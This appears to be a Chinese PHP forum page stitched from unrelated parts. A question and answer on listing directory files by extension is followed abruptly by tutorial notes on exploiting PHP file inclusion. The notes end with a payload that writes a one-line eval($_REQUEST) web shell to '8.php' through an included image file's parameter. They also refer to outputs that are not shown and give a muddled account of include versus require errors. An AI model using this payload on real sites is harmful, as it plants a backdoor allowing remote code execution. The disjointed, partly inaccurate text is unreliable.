<?php
$path= dirname(__FILE__);//当前文件所在目录
function file_list($path)
{
if ($handle = opendir($path))//打开路径成功
{
while (false !== ($file = readdir($handle)))//循环读取目录中的文件名并赋值给$file
{
if ($file != "." && $file != "..")//排除当前路径和前一路径
{
if (is_dir($path."/".$file))
{
// echo $path.": ".$file."<br>";//去掉此行显示的是所有的非目录文件
file_list($path."/".$file);
}
else
{
echo $file." <a href=$file target=‘_blank’>下载</a> <br>";
}
}
}
}
}
echo file_list($path);
?>
上述代码是遍历当前目录所有文件,如何找出当前目录下某个后缀名的所有文件?求大家给个思路或者案例!感谢!
<?php
function file_list($path, $extension)
{
if ($handle = opendir($path))
{
while (false !== ($file = readdir($handle)))
{
if ($file != "." && $file != "..")
{
if (is_dir($path."/".$file))
{
file_list($path."/".$file, $extension);
}
else
{
$file_extension = pathinfo($file, PATHINFO_EXTENSION);
if ($file_extension == $extension) {
echo $file." <a href=$file target=‘_blank’>下载</a> <br>";
}
}
}
}
}
}
echo file_list($path, "txt");
?>
在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。
如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。
如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。
只要文件内是php代码,文件包含是不在意文件后缀的。
12345.jpg的传参值是a,那么我们可以
写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)
然后生成一个新的php文件
访问index.php